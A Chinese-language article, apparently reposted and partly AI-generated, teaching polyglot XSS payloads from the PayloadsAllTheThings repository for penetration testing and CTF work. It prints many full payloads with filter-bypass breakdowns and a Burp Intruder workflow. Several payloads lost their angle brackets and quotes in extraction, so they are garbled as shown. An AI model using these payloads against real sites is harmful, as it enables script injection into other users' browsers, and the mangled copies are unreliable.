ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

Polyglot XSS 多上下文注入实战指南 —— 基于 PayloadsAllTheThings 的跨上下文 Payload 全集与原理拆解

Polyglot XSS 多上下文注入实战指南 —— 基于 PayloadsAllTheThings 的跨上下文 Payload 全集与原理拆解 网络安全应用安全渗透测试【免费下载链接】PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings点击查看免费下载Polyglot XSS多语言跨站脚本是一种经过精心构造、能够在 HTML、JavaScript、属性、URL 等多种解析上下文中同时生效的 XSS 载荷专门用于对付只针对单一上下文做过滤的 WAF 与输入清洗逻辑。本文以仓库中的 2 - XSS Polyglot.md 为骨架完整收录 0xsobky、Ashar Javed、Rsnake、s0md3v、brutelogic 等研究者的经典 Polyglot 载荷及其变体逐行拆解其生效原理并结合仓库内已整理好的 XSS_Polyglots.txt 字典说明实战用法。读完本文你将能够理解 Polyglot 的构件逻辑直接复用这些载荷做渗透测试、CTF 与 WAF 绕过验证。什么是 Polyglot XSSA polyglot XSS is a type of cross-site scripting (XSS) payload designed to work across multiple contexts within a web application, such as HTML, JavaScript, and attributes. It exploits the applications inability to properly sanitize input in different parsing scenarios.Polyglot XSS 是一类被设计为在多个解析上下文中同时有效的跨站脚本载荷。一个 Web 应用的同一个输入点可能在以下不同位置被反射或存储HTML 上下文输入被直接嵌入标签之间如div{input}/div属性上下文输入被嵌入标签属性值中如input value{input}JavaScript 上下文输入出现在script代码块、事件处理器或javascript:URL 中URL 上下文输入被拼接到链接、src/href或跳转逻辑中。传统单点载荷如scriptalert(1)/script只对 HTML 上下文有效当应用在不同页面、不同功能点以不同方式输出用户输入时攻击者往往需要针对每种上下文分别准备载荷。Polyglot 的思路则是把针对所有上下文的逃生开关预埋进同一条字符串无论应用把输入放进哪里总有一个分支能够闭合上下文、唤醒事件处理器并执行 JavaScript。正因如此Polyglot 是 XSS 检测中一枪打多个靶位的高效工具——在不知道目标反射点确切上下文的情况下一条 Polyglot 往往就能给出 XSS 是否存在的明确信号。它与仓库中 XSS Injection/README.md 里按上下文分类的常规载荷HTML/应用、URI 包装器、文件、postMessage 等形成互补常规载荷负责精确定位Polyglot 负责广谱探测。经典 Polyglot Payload 全集与逐行拆解仓库的 2 - XSS Polyglot.md 按研究者收录了多代 Polyglot 载荷同时 Intruders/XSS_Polyglots.txt 已将这些载荷逐行整理为可直接喂给 Burp Intruder 等工具的字典文件每行一条载荷共 16 条。下面按作者逐一收录并拆解。0xsobkyAhmed Elsobky的终极 PolyglotjaVasCript:/*-/*/*\/*/*/**/(/* */oNcliCkalert() )//%0D%0A%0D%0A///stYle//titLe//teXtarEa//scRipt/--!\x3csVg/sVg/oNloAdalert()//\x3e这是 0xsobky 在其《Unleashing an Ultimate XSS Polyglot》研究中发布的经典载荷可以从结构中拆出以下关键构件jaVasCript:——javascript:URL scheme 的大小写混合写法。javascript:scheme 本身大小写不敏感混合大小写可以规避针对全小写或全大写字符串的简单过滤器当输入落在href/src/location等可执行 URL 位置时这一分支直接生效/*-/*///*//** —— 一系列注释与引号闭合符/* */ 是 JS 块注释反引号、单引号、双引号分别闭合可能存在的字符串字面量。无论输入被插入到哪种引号包裹的字符串中总有一个引号能把字符串提前结束随后进入注释吞掉残余代码oNcliCkalert()—— 混合大小写的事件处理器。HTML 属性名大小写不敏感oNcliCk等价于onclick规避了针对onclick全小写的黑名单事件处理器上下文如a ... {input}下这一分支生效///stYle//titLe//teXtarEa//scRipt/--!—— 依次闭合可能存在的style、title、textarea、script等原始文本raw text与可转义文本RCDATA元素。这些元素内部的内容不被当作 HTML 标签解析必须先闭合标签才能让后续标签生效--!用于闭合可能的注释上下文!--\x3csVg/sVg/oNloAdalert()//\x3e—— 十六进制编码的svg与。\x3c在 JavaScript 字符串/注释后的上下文中会被解码为随后svg onloadalert()以混合大小写方式再次触发onload事件。SVG 元素上的onload事件在svg标签渲染时自动触发是比img onerror更稳定的无交互触发点%0D%0ACRLF 换行—— 在 URL 上下文中充当换行配合前面的//注释可把 URL 中后续内容全部注释掉对应javascript://...技巧。该载荷的完整形态同样存在于 XSS_Polyglots.txt 第 1 行可直接复制使用。Ashar Javed 的上下文叠加 Polyglotmarqueeimg srcx onerrorconfirm(1)/marquee /plaintext\/|\plaintext/onmouseoverprompt(1) scriptprompt(1)/scriptgmail.comisindex formactionjavascript:alert(/XSS/) typesubmit-- /scriptscriptalert(1)/scriptimg/idconfirmlpar; 1)/alt/src/onerroreval(id%23x29;img srchttp: //i.imgur.com/P8mL8.jpgAshar Javed 的载荷思路是在同一字符串里叠放多条独立可用的攻击链而不是依赖单条链路贯穿所有上下文—— 闭合可能存在的双引号属性与标签marqueeimg srcx onerrorconfirm(1)/marquee—— 双保险触发marquee是 HTML5 中允许的过时标签img onerror在图片加载失败时触发两层都能独立弹窗/plaintext\/|\—— 闭合 HTML5 的plaintext原始文本元素一旦出现plaintext其后所有内容都按纯文本处理必须先闭合plaintext/onmouseoverprompt(1)—— 反用plaintext借助标签自闭合语法让onmouseover事件处理器生效scriptprompt(1)/script—— 常规script分支gmail.com—— 伪装成邮箱地址规避针对输入包含尖括号即拦截的简单邮件/URL 过滤器isindex formactionjavascript:alert(/XSS/) typesubmit—— 借助已废弃的isindex元素 formactionjavascript:触发表单提交式执行img/idconfirmlpar; 1)/alt/src/onerroreval(id%23x29;—— 属性缺省写法 HTML 实体编码idconfirmlpar; 1)中的lpar;是(的 HTML 实体%23x29;是#x29即)的编码最终eval(confirm( 1))执行弹窗-- /scriptscriptalert(1)/script—— 闭合 SQL 风格注释--、HTML 注释--与/script再开新scriptimg srchttp: //i.imgur.com/P8mL8.jpg—— 以合法图片 URL 收尾让整体字符串在视觉与语义上看起来像普通富文本内容。这条载荷的价值在于每一条子链路都自成一体即便前面的部分被过滤掉后面的分支仍可能独立触发非常适合黑盒探测。Mathias Karlsson 的极简三态 Polyglot onclickalert(1)//button onclickalert(1)// */ alert(1)//这条短载荷同样出现在 XSS_Polyglots.txt 第 3 行极简但覆盖面广 onclickalert(1)//—— 闭合双引号属性注入onclick事件//注释掉行尾残余button onclickalert(1)//—— 进入 HTML 标签上下文后闭合单引号属性再注入事件 */ alert(1)//—— 若落在 JS 代码块中*/闭合可能存在的块注释随后执行alert(1)。一个载荷同时覆盖双引号属性、单引号属性、JS 注释内三种状态是典型的一鱼三吃。Rsnake 的String.fromCharCode编码 Polyglot;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//-- /SCRIPTSCRIPTalert(String.fromCharCode(88,83,83))/SCRIPTRsnakeRobert RSnake Hansen的经典载荷围绕String.fromCharCode(88,83,83)构建;alert(...)//与;alert(...)//—— 依次覆盖单引号字符串上下文与双引号字符串上下文先闭合引号执行alert再用//注释掉行尾-- /SCRIPT—— 闭合 HTML 注释与可能的script标签SCRIPTalert(...)/SCRIPT—— 同时闭合属性双引号、标签重新打开SCRIPT全大写规避小写敏感过滤。关键在于88,83,83是XSS的 ASCII 码String.fromCharCode(88,83,83)等于字符串XSS。由于alert与fromCharCode这些单词在源码中以普通字符出现而敏感的XSS字样被隐藏在数字参数中可以绕过针对关键字alert(XSS)或XSS字符串的签名过滤。类似的编码手法在仓库 1 - XSS Filter Bypass.md 的 Bypass Word Blacklist with Code Evaluation 等章节中有系统化展开可对照阅读。Daniel Miessler 的注释流变体系列;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//--/SCRIPTSCRIPTalert(String.fromCharCode(88,83,83))/SCRIPT onclickalert(1)//button onclickalert(1)// */ alert(1)// marqueeimg srcx onerrorconfirm(1)/marquee/plaintext\/|\plaintext/onmouseoverprompt(1)scriptprompt(1)/scriptgmail.comisindex formactionjavascript:alert(/XSS/) typesubmit--/scriptscriptalert(1)/scriptimg/idconfirmlpar;1)/alt/src/onerroreval(id%23x29;img srchttp://i.imgur.com/P8mL8.jpg javascript:////title/style/textarea/script--p onclickalert()//*/alert()/* javascript://--/script/title/style//textarea*/alert()/* onclickalert()//a javascript:///title//script/style/textarea/--*/alert()/* onclickalert()/// javascript:///title/style/textarea--/scripta// onclickalert()//*/alert()/* javascript://// --/textarea/style/script/titleb onclick alert()//*/alert()/* javascript:///title/textarea/style/script --li // */alert()/*, onclickalert()// javascript:alert()//--/script/textarea/style/titlea// onclickalert()//*/alert()/* --/script/title/style//textareaa onclickalert()//*/alert()/* //title///style//script//textarea/--p onclickalert()//*/alert()/* javascript://--/title/style/textarea/scriptsvg // onclickalert()// //title///style//script/--p onclickalert()//*/alert()/*Daniel Miessler 在 Rsnake 载荷基础上整理出一整族注释流变体。它们的共同骨架是{javascript: 前缀或引号闭合} // {注释流} {闭合标签流} {事件处理器} // */ alert()/*核心机制拆解javascript://—— 以javascript:scheme 开路//启动行注释。若输入落在可执行 URLhref、location、window.open等中javascript:分支直接生效若落在 JS 代码中//注释吞掉后续杂散内容/title/style/textarea/script—— 按固定顺序闭合title、style、textarea、script这些会把后续内容当纯文本/代码处理的关键元素。变体之间仅调整闭合标签的顺序与书写形式/script、/script --、/textarea/--、//style/等目的是对抗只拦截某种特定闭合写法的过滤器p onclickalert()//*/alert()/*—— 注入p标签的事件处理器提前闭合属性onclickalert()绑定事件//*/负责在 JS 上下文中闭合行注释与块注释alert()/*执行弹窗并用/*开启注释吞掉行尾残留*/alert()/*收尾—— 与开头的//或引号配合无论前面是行注释还是块注释总有一个*/能把注释焊死、让alert()落回可执行状态。这类注释配对手法在仓库 1 - XSS Filter Bypass.md 的 Bypass using an Alternate Way to Execute an Alert 与 Bypass ; using Another Character 等小节中也有对应的单点技巧可以互为印证。s0md3v 的 Unicode 转义极简 Polyglot--//sCriptsvG x onload(co\u006efirm)svg%0Ao%00nload%09((pro\u006dpt))()//s0md3v 在 2018 年发布的两条载荷以极短长度 Unicode 转义见长--//sCript—— 依次闭合 HTML 注释--、单引号、双引号、标签与scriptsvG x onload(co\u006efirm)—— 混合大小写svG利用x属性提前关闭 svg 的使onload属性实际成为可执行事件co\u006efirm中\u006e是n的 Unicode 转义\u006efirm解码为confirm规避针对confirm关键字的小写黑名单末尾反引号对把参数变成模板字符串调用语法 confirm\\从而完全不用括号——这是经典的括号过滤绕过手法仓库 1 - XSS Filter Bypass.md 的 Bypass Parenthesis for String 一节有同类技巧svg%0Ao%00nload%09((pro\u006dpt))()//—— 属性名内部塞入%0A换行与%00空字节属性值前用%09制表符这些控制字符在部分解析器/过滤器中被忽略从而把onload拆成o、nload分段绕过关键字匹配(pro\u006dpt)()用双括号包裹再调用同样规避括号过滤\u006d解码为m。这两条载荷把编码转义控制字符注入无括号调用压缩到极短形式非常适合 URL 长度受限的场景。filedescriptor 的 Polyglot Challenge 系列filedescriptor 曾发起 XSS Polyglot Challengepolyglot.innerht.ml要求参赛者构造能在尽可能多上下文生效的载荷。仓库收录了其中四位作者的提交// Author: crlf javascript:/*/*/*--/noscript/title/textarea/style/template/noembed/scripthtml \ onmouseover/*lt;svg/*/onloadalert()// // Author: europa javascript:/*/*/*\ /*/title/style/textarea/noscript/noembed/template/script/--lt;svg/onload/*html/*/onmouseoveralert()// // Author: EdOverflow javascript:/*\/*/* /*/template/textarea/noembed/noscript/title/style/script--lt;svg onload/*html/*/onmouseoveralert()// // Author: h1/ragnar javascript:////\///title/textarea/style/noscript/noembed/script/templatelt;svg/onload/*--html */ onmouseoveralert()//这四条载荷的结构高度相似属于同一代 Polyglot 的竞技优化版本值得对比学习javascript:—— 统一以 URL scheme 开头**引号与注释序列/*/*/ /** —— 覆盖双引号、单引号、反引号三种字符串上下文每种都紧跟/*块注释或// 行注释闭合标签清单—— 四条载荷都在noscript/title/textarea/style/template/noembed/script这个集合中选取子集并打乱顺序覆盖了 HTML5 中全部**原始文本类script/style/noscript/noembed与可转义文本类title/textarea/template**元素以及/script/--、/script/--!这类闭合符 注释符合并的写法差异lt;svg/onload—— 用 HTML 实体lt;编码规避尖括号黑名单svg/onload借自闭合标签语法触发onload/*html/*/onmouseoveralert()//—— 把html onmouseover包进 JS 注释对/* ... */中间在 JS 上下文里它是注释无害一旦进入 HTML 解析注释标记失效、html onmouseoveralert()作为真实标签生效。这种注释内藏 HTML正是 Polyglot 的精髓——同一段字符在不同解析器眼中是完全不同的东西。brutelogic 的现代运算符 PolyglotJavaScript://%250Aalert?.(1)///*\/*/*\/*/*\/*%26apos;)/*!--/Title//Style//Script//textArea//iFrame//noScript\74kK/contentEditable/autoFocus/OnFocus/*${/*/;{/**/(alert)(1)}//Base/Href//X55.is\76--brutelogic2021 年《Building XSS Polyglots》一文给出的这条载荷融合了多个现代语法特性JavaScript://%250A——javascript:scheme //注释 %250AURL 双重编码的换行解码后为%0A在 URL 上下文中制造换行使后续内容脱离注释alert?.(1)——可选链调用optional chainingalert?.(1)等价于alert(1)但?.写法让函数括号的模式不再连续出现规避对alert(的签名过滤**引号与注释序列/*\/*/*\/*//%26apos;)/** —— 覆盖单双引号、反引号与的 HTML 实体%26apos;每个都接/ 注释/Title//Style//Script//textArea//iFrame//noScript—— 用自闭合风格/Title/而非/Title闭合 title/style/script/textarea/iframe/noscript 等元素这种写法在部分过滤器中不被识别为闭合标签却能正常闭合元素\74kK——\74是的八进制编码\74k组合出一个k前缀既覆盖八进制编码又覆盖明文K/contentEditable/autoFocus/OnFocus/*${/*/;{/**/(alert)(1)}//—— 混合大小写K标签上挂载contentEditableautoFocusOnFocus元素获得焦点即触发事件无需用户点击事件值里塞入${/*/;{/**/...这种模板字符串 块注释混淆结构(alert)(1)用括号包裹函数名调用Base/Href//X55.is\76--—— 自闭合base href可劫持页面内相对 URL 解析\76是的八进制编码--闭合注释。这条载荷被收录在 XSS_Polyglots.txt 第 16 行可作为现代浏览器 现代过滤规则下的首选探测载荷。Polyglot 的通用构建构件对比以上全部载荷可以归纳出 Polyglot 反复使用的六类构件这些构件在 XSS_Polyglots.txt 的 16 条载荷中反复出现构件类别典型写法作用URL scheme 开路javascript:、JavaScript://覆盖 URL 上下文直接执行 JS引号闭合、、及其实体/转义形式提前结束字符串字面量逃出引号包裹注释配对//、/*、*/、--!、--在 JS 上下文吞掉杂散代码或隐藏恶意片段元素闭合流/script、/title、/style、/textarea、/noscript、/noembed、/template、/plaintext关闭会把后续内容当纯文本/代码解析的关键元素事件触发器onclick、onload、onerror、onmouseover、onfocus在 HTML/属性上下文触发 JS 执行编码/混淆\x3c、\74、\u006e、lt;、%0A、大小写混合、String.fromCharCode、可选链?.规避关键字、尖括号、引号、括号等过滤从源码结构可以推断仓库把这些构件按作者/流派分组整理进字典文件正是为了让测试者逐条验证目标过滤器的缺口每一条载荷失效都意味着某一类构件被拦截从而反推目标的过滤规则。实战使用字典、流程与搭配直接使用仓库字典XSS_Polyglots.txt 是现成的 Burp Intruder 字典每行一条共 16 条可直接导入 Intruder 的 Payload position 进行批量探测。使用方法用 Burp 拦截目标请求在参数值处标记 Payload position将XSS_Polyglots.txt导入 Payload listPayloads → Load对返回内容做观察若某条 Polyglot 在响应中被原样反射且没有被转义/截断即说明该输入点可能缺乏上下文感知的清洗结合仓库 XSS Injection/README.md 中 Identify an XSS Endpoint 一节的建议将alert类验证替换为alert(document.domain.concat(\n).concat(window.origin))或console.log(...)确认执行范围并避免弹窗阻塞测试。与 Filter Bypass 技巧联动Polyglot 本身是广谱探测层命中后再用 1 - XSS Filter Bypass.md 中的单点技巧做精细化推进形成完整闭环若 Polyglot 因大小写过滤失效可参考 Bypass Case Sensitive 的sCrIpt混合大小写写法若alert/confirm关键字被拦截可改用String.fromCharCode编码Rsnake 载荷已示范或 Bypass Word Blacklist with Code Evaluation 中的eval手法若括号被过滤可采用 s0md3v 载荷的(co\u006efirm)\ 无括号调用或参考 Bypass Parenthesis for String若被过滤可尝试lt;实体、\x3c十六进制、\74八进制与 Katakana/Unicode 变体filedescriptor 与 brutelogic 载荷已内嵌这些编码。局限与注意事项Polyglot 追求面面俱到代价是载荷体积大在 URL 长度受限、参数值有截断的应用中可能被截断而整体失效Polyglot 不等于一定能执行它只保证尽可能多的上下文覆盖。若目标对输入做了上下文感知的输出编码如把转义为lt;、把引号转义为#34;任何 Polyglot 都可能在编码层被中和——此时应回到 XSS Injection/README.md 按上下文逐类测试常规载荷部分现代浏览器对javascript:scheme 在href中的直接执行有限制base href劫持等副作用手段需在测试环境确认行为后再用于真实目标。仓库相关资源2 - XSS Polyglot.md本文的源文档按作者收录全部经典 Polyglot 载荷Intruders/XSS_Polyglots.txt整理好的 16 条 Polyglot 字典可直接用于 Burp Intruder 等 fuzz 工具1 - XSS Filter Bypass.md与 Polyglot 互补的单点过滤绕过技巧大小写、标签黑名单、引号、括号、编码等Polyglot 中的许多构件在这里有独立章节详解XSS Injection/README.mdXSS 方法论总纲涵盖反射型/存储型/DOM 型三类、PoC 数据窃取、Blind XSS、Mutation XSS 等完整知识体系配套的 Intruders 目录还提供了XSS_Polyglots.txt之外的xss_alert.txt、XSSDetection.txt、BRUTELOGIC-XSS-JS.txt等专用字典可结合使用。参考Building XSS Polyglots— brutelogic2021 年 6 月载荷收录于本仓库 XSS_Polyglots.txt 末行XSS Polyglot Challenge v2— filedescriptor2015 年 8 月本仓库收录 crlf、europa、EdOverflow、h1/ragnar 四位作者的提交Unleashing an Ultimate XSS Polyglot— Ahmed Elsobky0xsobky其载荷在 XSS Injection/README.md 的 References 中亦有收录s0md3v 于 2018 年发布的两条 Unicode 转义 Polyglot已完整收录于本文与字典文件。赞分享网络安全应用安全渗透测试【免费下载链接】PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings点击查看免费下载相关推荐PayloadsAllTheThings 之 LaTeX 注入实战指南文件读写、命令执行与 XSS Payload 全解析PayloadsAllTheThings 之 LaTeX 注入实战指南文件读写、命令执行与 XSS Payload 全解析 导读LaTeX 注入LaTeX网络安全应用安全渗透测试openai-agents-python 上下文管理实战本地上下文RunContextWrapper/ToolContext与 LLM 上下文注入全解析openai agents python 上下文管理实战本地上下文RunContextWrapper/ToolContext与 LLM 上下文注入全解析人工智能AI AgentAgent 框架多智能体工具调用MCP Clientspi 上下文注入模式全解基于 Hook 系统的 Context 注入、过滤与状态管理实战指南pi 上下文注入模式全解基于 Hook 系统的 Context 注入、过滤与状态管理实战指南 导读 本文聚焦 pigsd 2 项目中的 meta promp人工智能AI Agent代码智能体Agent 编排CLIAI 应用上一篇Claude Code 企业级 MDM 部署指南通过 Jamf、Kandji、Intune 与组策略下发托管设置下一篇OpenCloud 背后的 Go HTTP 可观测性otelchi 中间件版本演进与源码级实践指南创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表